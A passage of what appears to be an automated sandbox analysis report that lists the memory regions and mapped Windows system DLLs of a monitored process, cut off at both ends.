0x330ffff entry_point = 0x0 region_type = private name = "private_0x0000000003290000" filename = "" Region: id = 5087 start_va = 0x7ff6405d3000 end_va = 0x7ff6405d4fff entry_point = 0x0 region_type = private name = "private_0x00007ff6405d3000" filename = "" Region: id = 5088 start_va = 0x7ff6405d5000 end_va = 0x7ff6405d6fff entry_point = 0x0 region_type = private name = "private_0x00007ff6405d5000" filename = "" Region: id = 5089 start_va = 0x7ff6405d7000 end_va = 0x7ff6405d8fff entry_point = 0x0 region_type = private name = "private_0x00007ff6405d7000" filename = "" Region: id = 5090 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 5091 start_va = 0x7ffd1b1d0000 end_va = 0x7ffd1b37afff entry_point = 0x7ffd1b24cfe4 region_type = mapped_file name = "dui70.dll" filename = "\\Windows\\System32\\dui70.dll" (normalized: "c:\\windows\\system32\\dui70.dll") Region: id = 5092 start_va = 0x2db0000 end_va = 0x2db1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002db0000" filename = "" Region: id = 5093 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 5094 start_va = 0x2dc0000 end_va = 0x2dc0fff entry_point = 0x2dc0000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 5095 start_va = 0x2dd0000 end_va = 0x2dd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002dd0000" filename = "" Region: id = 5096 start_va = 0x7ffd1ae90000 end_va = 0x7ffd1af30fff entry_point = 0x7ffd1aec6020 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\System32\\duser.dll" (normalized: "c:\\windows\\system32\\duser.dll") Region: id = 5097 start_va = 0x3310000 end_va = 0x338ffff entry_point = 0x0 region_type = private name = "private_0x0000000003310000" filename = "" Region: id = 5098 start_va = 0x7ff6404ae000 end_va = 0x7ff6404affff entry_point = 0x0 region_type = private name = "private_0x00007ff6404ae000" filename = "" Region: id = 5099 start_va = 0x7ffd1ae50000 end_va = 0x7ffd1ae8cfff entry_point = 0x7ffd1ae55e98 region_type = mapped_file name = "sndvolsso.dll" filename = "\\Windows\\System32\\SndVolSSO.dll" (normalized: "c:\\windows\\system32\\sndvolsso.dll") Region: id = 5100 start_va = 0x2dc0000 end_va = 0x2dc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002dc0000" filename = "" Region: id = 5101 start_va = 0x7ffd1bed0000 end_va = 0x7ffd1bedcfff entry_point = 0x7ffd1bed107c region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 5102 start_va = 0x7ffd1ade0000 end_va = 0x7ffd1ae40fff entry_point = 0x7ffd1adf32c8 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 5103 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 5104 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 5105 start_va = 0x7ffd1a970000 end_va = 0x7ffd1a9d2fff entry_point = 0x7ffd1a976fb4 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 5106 start_va = 0x2de0000 end_va = 0x2de0fff entry_point = 0x2de0000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 5107 start_va = 0x7ffd1a420000 end_va = 0x7ffd1a66cfff entry_point = 0x7ffd1a43c0f4 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll") Region: id = 5108 start_va = 0x2df0000 end_va = 0x2df0fff entry_point = 0x0 region_type = private name = "private_0x0000000002df0000" filename = "" Region: id = 5109 start_va = 0x2e00000 end_va = 0x2e00fff entry_point = 0x0 region_type = private name = "private_0x0000000002e00000" filename = "" Region: id = 5110 start_va = 0x2e10000 end_va = 0x2e10fff entry_point = 0x0 region_type = private name = "private_0x0000000002e10000" filename = "" Region: id = 5111 start_va = 0x3390000 end_va = 0x340ffff entry_point = 0x0 region_type = private name = "private_0x0000000003390000" filename = "" Region: id = 5112 start_va = 0x7ff6404ac000 end_va = 0x7ff6404adfff entry_point = 0x0 region_type = private name = "private_0x00007ff6404ac000" filename = "" Region: id = 5113 start_va = 0x3410000 end_va = 0x3410fff entry_point = 0x0 region_type = private name = "private_0x0000000003410000" filename = "" Region: id = 5114 start_va = 0x7ffd16ae0000 end_va = 0x7ffd17777fff entry_point = 0x7ffd16ae0000 region_type = mapped_file name = "twinui.dll" filename = "\\Windows\\System32\\twinui.dll" (normalized: "c:\\windows\\system32\\twinui.dll") Region: id = 5115 start_va = 0x7ffd16a50000 end_va = 0x7ffd16addfff entry_point = 0x7ffd16a50000 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 5116 start_va = 0x7ffd197f0000 end_va = 0x7ffd19827fff entry_point = 0x7ffd197f1034 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 5117 start_va = 0x7ffd18a90000 end_va = 0x7ffd18c2afff entry_point = 0x7ffd18a910b0 region_type = mapped_file name = "windows.ui.immersive.dll" filename = "\\Windows\\System32\\Windows.UI.Immersive.dll" (normalized: "c:\\windows\\system32\\windows.ui.immersive.dll") Region: id = 5118 start_va = 0x7ffd195b0000 end_va = 0x7ffd195dffff entry_point = 0x7ffd195b5ca0 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 5119 start_va = 0x3420000 end_va = 0x3422fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003420000" filename = "" Region: id = 5121 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 5122 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5123 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 5124 start_va = 0x3430000 end_va = 0x34affff entry_point = 0x0 region_type = private name = "private_0x0000000003430000" filename = "" Region: id = 5125 start_va = 0x7ff6404aa000 end_va = 0x7ff6404abfff entry_point = 0x0 region_type = private name = "private_0x00007ff6404aa000" filename = "" Region: id = 5143 start_va = 0x7ffd167a0000 end_va = 0x7ffd16a4efff entry_point = 0x7ffd167a0000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 5146 start_va = 0x7ffd19d80000 end_va = 0x7ffd19f12fff entry_point = 0x7ffd19d8b4f0 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 5147 start_va = 0x34b0000 end_va = 0x35affff entry_point = 0x0 region_type = private name = "private_0x00000000034b0000" filename = "" Region: id = 5148 start_va = 0x35b0000 end_va = 0x35b1fff entry_point = 0x0 region_type = private name = "private_0x00000000035b0000" filename = "" Region: id = 5149 start_va = 0x35c0000 end_va = 0x35effff entry_point = 0x0 region_type = private name = "private_0x00000000035c0000" filename = "" Region: id = 5150 start_va = 0x35c0000 end_va = 0x35cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000035c0000" filename = "" Region: id = 5151 start_va = 0x35d0000 end_va = 0x35dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000035d0000" filename = "" Region: id = 5152 start_va = 0x35e0000 end_va = 0x35effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000035e0000" filename = "" Region: id = 5153 start_va = 0x35f0000 end_va = 0x35f0fff entry_point = 0x0 region_type = private name = "private_0x00000000035f0000" filename = "" Region: id = 5154 start_va = 0x3600000 end_va = 0x3600fff entry_point = 0x0 region_type = private name = "private_0x0000000003600000" filename = "" Region: id = 5155 start_va = 0x3610000 end_va = 0x3610fff entry_point = 0x0 region_type = private name = "private_0x0000000003610000" filename = "" Region: id = 5156 start_va = 0x3620000 end_va = 0x3620fff entry_point = 0x0 region_type = private name = "private_0x0000000003620000" filename = "" Region: id = 5157 start_va = 0x3630000 end_va = 0x449ffff entry_point = 0x3630000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 5158 start_va = 0x44a0000 end_va = 0x44a2fff entry_point = 0x44a0000 region_type = mapped_file name = "comctl32.dll.mui" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.9600.16384_en-us_7852a861195d56f0\\comctl32.dll.mui" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.9600.16384_en-us_7852a861195d56f0\\comctl32.dll.mui") Region: id = 5160 start_va = 0x44b0000 end_va = 0x44b0fff entry_point = 0x0 region_type = private name = "private_0x00000000044b0000" filename = "" Region: id = 5161 start_va = 0x44c0000 end_va = 0x44c7fff entry_point = 0x0 region_type = private name = "private_0x00000000044c0000" filename = "" Region: id = 5162 start_va = 0x44d0000 end_va = 0x44d0fff entry_point = 0x0 region_type = private name = "private_0x00000000044d0000" filename = "" Region: id = 5163 start_va = 0x44e0000 end_va = 0x44e1fff entry_point = 0x0 region_type = private name = "private_0x00000000044e0000" filename = "" Region: id = 5169 start_va = 0x35b0000 end_va = 0x35b0fff entry_point = 0x0 region_type = private name = "private_0x00000000035b0000" filename = "" Region: id = 5170 start_va = 0x7ffd164e0000 end_va = 0x7ffd16794fff entry_point = 0x7ffd164e0000 region_type = mapped_file name = "explorerframe.dll" filename = "\\Windows\\System32\\ExplorerFrame.dll" (normalized: "c:\\windows\\system32\\explorerframe.dll") Region: id = 5171 start_va = 0x3620000 end_va = 0x3622fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003620000" filename = "" Region: id = 5175 start_va = 0x44f0000 end_va = 0x44f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000044f0000" filename = "" Region: id = 5176 start_va = 0x7ffd164c0000 end_va = 0x7ffd164dcfff entry_point = 0x7ffd164c0000 region_type = mapped_file name = "windows.immersiveshell.serviceprovider.dll" filename = "\\Windows\\System32\\windows.immersiveshell.serviceprovider.dll" (normalized: "c:\\windows\\system32\\windows.immersiveshell.serviceprovider.dll") Region: id = 5177 start_va = 0x4500000 end_va = 0x45fffff entry_point = 0x0 region_type = private name = "private_0x0000000004500000" filename = "" Region: id = 5183 start_va = 0x3610000 end_va = 0x3612fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003610000" filename = "" Region: id = 5184 start_va = 0x44e0000 end_va = 0x44e0fff entry_point = 0x0 region_type = private name = "private_0x00000000044e0000" filename = "" Region: id = 5185 start_va = 0x4600000 end_va = 0x4601fff entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 5186 start_va = 0x4610000 end_va = 0x4648fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004610000" filename = "" Region: id = 5187 start_va = 0x4650000 end_va = 0x4683fff entry_point = 0x0 region_type = private name = "private_0x0000000004650000" filename = "" Region: id = 5188 start_va = 0x4690000 end_va = 0x470ffff entry_point = 0x0 region_type = private name = "private_0x0000000004690000" filename = "" Region: id = 5189 start_va = 0x4710000 end_va = 0x4712fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004710000" filename = "" Region: id = 5190 start_va = 0x7ff6404a8000 end_va = 0x7ff6404a9fff entry_point = 0x0 region_type = private name = "private_0x00007ff6404a8000" filename = "" Region: id = 5201 start_va = 0x4720000 end_va = 0x4723fff entry_point = 0x4720000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 5202 start_va = 0x4730000 end_va = 0x476dfff entry_point = 0x4730000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000005.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db") Region: id = 5203 start_va = 0x4770000 end_va = 0x4773fff entry_point = 0x4770000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 5204 start_va = 0x4780000 end_va = 0x4800fff entry_point = 0x4780000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 5205 start_va = 0x4810000 end_va = 0x490ffff entry_point = 0x0 region_type = private name = "private_0x0000000004810000" filename = "" Region: id = 5206 start_va = 0x7ffd163e0000 end_va = 0x7ffd163edfff entry_point = 0x7ffd163e0000 region_type = mapped_file name = "wldp.dll" filename = "\\Windows\\System32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll") Region: id = 5207 start_va = 0x7ffd1ce20000 end_va = 0x7ffd1cff6fff entry_point = 0x7ffd1ce210a4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 5208 start_va = 0x7ffd1cd50000 end_va = 0x7ffd1cd61fff entry_point = 0x7ffd1cd510f4 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 5209 start_va = 0x4910000 end_va = 0x498ffff entry_point = 0x0 region_type = private name = "private_0x0000000004910000" filename = "" Region: id = 5210 start_va = 0x7ff6404a6000 end_va = 0x7ff6404a7fff entry_point = 0x0 region_type = private name = "private_0x00007ff6404a6000" filename = "" Region: id = 5211 start_va = 0x7ffd19f70000 end_va = 0x7ffd19f80fff entry_point = 0x7ffd19f71080 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 5212 start_va = 0x4990000 end_va = 0x4a0ffff entry_point = 0x0 region_type = private name = "private_0x0000000004990000" filename = "" Region: id = 5213 start_va = 0x4a10000 end_va = 0x4a10fff entry_point = 0x0 region_type = private name = "private_0x0000000004a10000" filename = "" Region: id = 5214 start_va = 0x7ff6404a4000 end_va = 0x7ff6404a5fff entry_point = 0x0 region_type = private name = "private_0x00007ff6404a4000" filename = "" Region: id = 5224 start_va = 0x4a20000 end_va = 0x4a9ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a20000" filename = "" Region: id = 5225 start_va = 0x7ff6404a2000 end_va = 0x7ff6404a3fff entry_point = 0x0 region_type = private name = "private_0x00007ff6404a2000" filename = "" Region: id = 5226 start_va = 0x7ffd1c7a0000 end_va = 0x7ffd1c7effff entry_point = 0x7ffd1c7a194c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 5227 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 5228 start_va = 0x4aa0000 end_va = 0x4aa0fff entry_point = 0x0 region_type = private name = "private_0x0000000004aa0000" filename = "" Region: id = 5229 start_va = 0x7ffd16110000 end_va = 0x7ffd163cffff entry_point = 0x7ffd16110000 region_type = mapped_file name = "themeui.dll" filename = "\\Windows\\System32\\themeui.dll" (normalized: "c:\\windows\\system32\\themeui.dll") Region: id = 5247 start_va = 0x4a20000 end_va = 0x4a20fff entry_point = 0x0 region_type = private name = "private_0x0000000004a20000" filename = "" Region: id = 5248 start_va = 0x4aa0000 end_va = 0x4b1ffff entry_point = 0x0 region_type = private name = "private_0x0000000004aa0000" filename = "" Region: id = 5249 start_va = 0x4b20000 end_va = 0x4b9ffff entry_point = 0x0 region_type = private name = "private_0x0000000004b20000" filename = "" Region: id = 5250 start_va = 0x7ff64049e000 end_va = 0x7ff64049ffff entry_point = 0x0 region_type = private name = "private_0x00007ff64049e000" filename = "" Region: id = 5251 start_va = 0x7ff6404a0000 end_va = 0x7ff6404a1fff entry_point = 0x0 region_type = private name = "private_0x00007ff6404a0000" filename = "" Region: id = 5252 start_va = 0x4a20000 end_va = 0x4a20fff entry_point = 0x0 region_type = private name = "private_0x0000000004a20000" filename = "" Region: id = 5253 start_va = 0x4a20000 end_va = 0x4a20fff entry_point = 0x0 region_type = private name = "private_0x0000000004a20000" filename = "" Region: id = 5254 start_va = 0x4a20000 end_va = 0x4a20fff entry_point = 0x0 region_type = private name = "private_0x0000000004a20000" filename = "" Region: id = 5255 start_va = 0x4a20000 end_va = 0x4a20fff entry_point = 0x0 region_type = private name = "private_0x0000000004a20000" filename = "" Region: id = 5256 start_va = 0x4a20000 end_va = 0x4a20fff entry_point = 0x0 region_type = private name = "private_0x0000000004a20000" filename = "" Region: id = 5272 start_va = 0x4a20000 end_va = 0x4a40fff entry_point = 0x4a20000 region_type = mapped_file name = "transcodedwallpaper" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper") Region: id = 5273 start_va = 0x4a20000 end_va = 0x4a3cfff entry_point = 0x4a20000 region_type = mapped_file name = "cachedimage_1440_900_pos4.jpg" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\cachedimage_1440_900_pos4.jpg") Region: id = 5274 start_va = 0x4ba0000 end_va = 0x5091fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004ba0000" filename = "" Region: id = 5275 start_va = 0x7ffd160a0000 end_va = 0x7ffd1610ffff entry_point = 0x7ffd160a0000 region_type = mapped_file name = "photometadatahandler.dll" filename = "\\Windows\\System32\\PhotoMetadataHandler.dll" (normalized: "c:\\windows\\system32\\photometadatahandler.dll") Region: id = 5276 start_va = 0x50a0000 end_va = 0x5591fff entry_point = 0x0 region_type = private name = "private_0x00000000050a0000" filename = "" Region: id = 5277 start_va = 0x4a20000 end_va = 0x4a9ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a20000" filename = "" Region: id = 5278 start_va = 0x7ff6404a2000 end_va = 0x7ff6404a3fff entry_point = 0x0 region_type = private name = "private_0x00007ff6404a2000" filename = "" Region: id = 5279 start_va = 0x7ffd15f90000 end_va = 0x7ffd1609dfff entry_point = 0x7ffd15f90000 region_type = mapped_file name = "twinui.appcore.dll" filename = "\\Windows\\System32\\twinui.appcore.dll" (normalized: "c:\\windows\\system32\\twinui.appcore.dll") Region: id = 5283 start_va = 0x55a0000 end_va = 0x561ffff entry_point = 0x0 region_type = private name = "private_0x00000000055a0000" filename = "" Region: id = 5284 start_va = 0x5620000 end_va = 0x569ffff entry_point = 0x0 region_type = private name = "private_0x0000000005620000" filename = "" Region: id = 5285 start_va = 0x7ff64049a000 end_va = 0x7ff64049bfff entry_point = 0x0 region_type = private name = "private_0x00007ff64049a000" filename = "" Region: id = 5286 start_va = 0x7ff64049c000 end_va = 0x7ff64049dfff entry_point = 0x0 region_type = private name = "private_0x00007ff64049c000" filename = "" Region: id = 5287 start_va = 0x56a0000 end_va = 0x571ffff entry_point = 0x0 region_type = private name = "private_0x00000000056a0000" filename = "" Region: id = 5288 start_va = 0x7ff640498000 end_va = 0x7ff640499fff entry_point = 0x0 region_type = private name = "private_0x00007ff640498000" filename = "" Region: id = 5289 start_va = 0x7ffd15f00000 end_va = 0x7ffd15f8dfff entry_point = 0x7ffd15f00000 region_type = mapped_file name = "wpncore.dll" filename = "\\Windows\\System32\\wpncore.dll" (normalized: "c:\\windows\\system32\\wpncore.dll") Region: id = 5319 start_va = 0x5720000 end_va = 0x579ffff entry_point = 0x0 region_type = private name = "private_0x0000000005720000" filename = "" Region: id = 5320 start_va = 0x57a0000 end_va = 0x58d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000057a0000" filename = "" Region: id = 5321 start_va = 0x7ff640496000 end_va = 0x7ff640497fff entry_point = 0x0 region_type = private name = "private_0x00007ff640496000" filename = "" Region: id = 5322 start_va = 0x58e0000 end_va = 0x5903fff entry_point = 0x0 region_type = private name = "private_0x00000000058e0000" filename = "" Region: id = 5323 start_va = 0x5910000 end_va = 0x5918fff entry_point = 0x0 region_type = private name = "private_0x0000000005910000" filename = "" Region: id = 5324 start_va = 0x5920000 end_va = 0x5920fff entry_point = 0x0 region_type = private name = "private_0x0000000005920000" filename = "" Region: id = 5325 start_va = 0x5930000 end_va = 0x5953fff entry_point = 0x0 region_type = private name = "private_0x0000000005930000" filename = "" Region: id = 5326 start_va = 0x5960000 end_va = 0x5968fff entry_point = 0x0 region_type = private name = "private_0x0000000005960000" filename = "" Region: id = 5327 start_va = 0x5970000 end_va = 0x5a6ffff entry_point = 0x0 region_type = private name = "private_0x0000000005970000" filename = "" Region: id = 5328 start_va = 0x5a70000 end_va = 0x5a70fff entry_point = 0x0 region_type = private name = "private_0x0000000005a70000" filename = "" Region: id = 5329 start_va = 0x5a70000 end_va = 0x5aeffff entry_point = 0x0 region_type = private name = "private_0x0000000005a70000" filename = "" Region: id = 5330 start_va = 0x5af0000 end_va = 0x5b6ffff entry_point = 0x0 region_type = private name = "private_0x0000000005af0000" filename = "" Region: id = 5331 start_va = 0x7ff640492000 end_va = 0x7ff640493fff entry_point = 0x0 region_type = private name = "private_0x00007ff640492000" filename = "" Region: id = 5332 start_va = 0x7ff640494000 end_va = 0x7ff640495fff entry_point = 0x0 region_type = private name = "private_0x00007ff640494000" filename = "" Region: id = 5333 start_va = 0x5b70000 end_va = 0x5beffff entry_point = 0x0 region_type = private name = "private_0x0000000005b70000" filename = "" Region: id = 5334 start_va = 0x5bf0000 end_va = 0x5c0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005bf0000" filename = "" Region: id = 5335 start_va = 0x7ff640490000 end_va = 0x7ff640491fff entry_point = 0x0 region_type = private name = "private_0x00007ff640490000" filename = "" Region: id = 5336 start_va = 0x7ffd1ab40000 end_va = 0x7ffd1ad1efff entry_point = 0x7ffd1ab87e44 region_type = mapped_file name = "dwrite.dll" filename = "\\Windows\\System32\\DWrite.dll" (normalized: "c:\\windows\\system32\\dwrite.dll") Region: id = 5337 start_va = 0x5c10000 end_va = 0x5c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000005c10000" filename = "" Region: id = 5338 start_va = 0x5c90000 end_va = 0x5d0ffff entry_point = 0x0 region_type = private name = "private_0x0000000005c90000" filename = "" Region: id = 5339 start_va = 0x5d10000 end_va = 0x5d10fff entry_point = 0x0 region_type = private name = "private_0x0000000005d10000" filename = "" Region: id = 5340 start_va = 0x7ff64048c000 end_va = 0x7ff64048dfff entry_point = 0x0 region_type = private name = "private_0x00007ff64048c000" filename = "" Region: id = 5341 start_va = 0x7ff64048e000 end_va = 0x7ff64048ffff entry_point = 0x0 region_type = private name = "private_0x00007ff64048e000" filename = "" Region: id = 5342 start_va = 0x5d10000 end_va = 0x5d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000005d10000" filename = "" Region: id = 5343 start_va = 0x5d90000 end_va = 0x5e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000005d90000" filename = "" Region: id = 5344 start_va = 0x5e10000 end_va = 0x5e8ffff entry_point = 0x0 region_type = private name = "private_0x0000000005e10000" filename = "" Region: id = 5345 start_va = 0x5e90000 end_va = 0x5f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000005e90000" filename = "" Region: id = 5346 start_va = 0x7ff640484000 end_va = 0x7ff640485fff entry_point = 0x0 region_type = private name = "private_0x00007ff640484000" filename = "" Region: id = 5347 start_va = 0x7ff640486000 end_va = 0x7ff640487fff entry_point = 0x0 region_type = private name = "private_0x00007ff640486000" filename = "" Region: id = 5348 start_va = 0x7ff640488000 end_va = 0x7ff640489fff entry_point = 0x0 region_type = private name = "private_0x00007ff640488000" filename = "" Region: id = 5349 start_va = 0x7ff64048a000 end_va = 0x7ff64048bfff entry_point = 0x0 region_type = private name = "private_0x00007ff64048a000" filename = "" Region: id = 5353 start_va = 0x5f10000 end_va = 0x5f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000005f10000" filename = "" Region: id = 5354 start_va = 0x7ff640482000 end_va = 0x7ff640483fff entry_point = 0x0 region_type = private name = "private_0x00007ff640482000" filename = "" Region: id = 5355 start_va = 0x5f90000 end_va = 0x5f91fff entry_point = 0x5f90000 region_type = mapped_file name = "dui70.dll.mui" filename = "\\Windows\\System32\\en-US\\dui70.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dui70.dll.mui") Region: id = 5357 start_va = 0x5fa0000 end_va = 0x5fa2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005fa0000" filename = "" Region: id = 5358 start_va = 0x5fb0000 end_va = 0x61affff entry_point = 0x0 region_type = private name = "private_0x0000000005fb0000" filename = "" Region: id = 5359 start_va = 0x61b0000 end_va = 0x9045fff entry_point = 0x61b0000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 5360 start_va = 0x7ffd1a900000 end_va = 0x7ffd1a94bfff entry_point = 0x7ffd1a915898 region_type = mapped_file name = "uianimation.dll" filename = "\\Windows\\System32\\UIAnimation.dll" (normalized: "c:\\windows\\system32\\uianimation.dll") Region: id = 5361 start_va = 0x9050000 end_va = 0x9050fff entry_point = 0x0 region_type = private name = "private_0x0000000009050000" filename = "" Region: id = 5362 start_va = 0x9060000 end_va = 0x9060fff entry_point = 0x0 region_type = private name = "private_0x0000000009060000" filename = "" Region: id = 5363 start_va = 0x9070000 end_va = 0x9070fff entry_point = 0x0 region_type = private name = "private_0x0000000009070000" filename = "" Region: id = 5364 start_va = 0x9080000 end_va = 0x90fffff entry_point = 0x0 region_type = private name = "private_0x0000000009080000" filename = "" Region: id = 5365 start_va = 0x7ff640480000 end_va = 0x7ff640481fff entry_point = 0x0 region_type = private name = "private_0x00007ff640480000" filename = "" Region: id = 5366 start_va = 0x9100000 end_va = 0x9100fff entry_point = 0x0 region_type = private name = "private_0x0000000009100000" filename = "" Region: id = 5367 start_va = 0x9110000 end_va = 0x918ffff entry_point = 0x0 region_type = private name = "private_0x0000000009110000" filename = "" Region: id = 5368 start_va = 0x7ff64047e000 end_va = 0x7ff64047ffff entry_point = 0x0 region_type = private name = "private_0x00007ff64047e000" filename = "" Region: id = 5369 start_va = 0x9190000 end_va = 0x928ffff entry_point = 0x0 region_type = private name = "private_0x0000000009190000" filename = "" Region: id = 5370 start_va = 0x9290000 end_va = 0x9290fff entry_point = 0x0 region_type = private name = "private_0x0000000009290000" filename = "" Region: id = 5371 start_va = 0x92a0000 end_va = 0x931ffff entry_point = 0x0 region_type = private name = 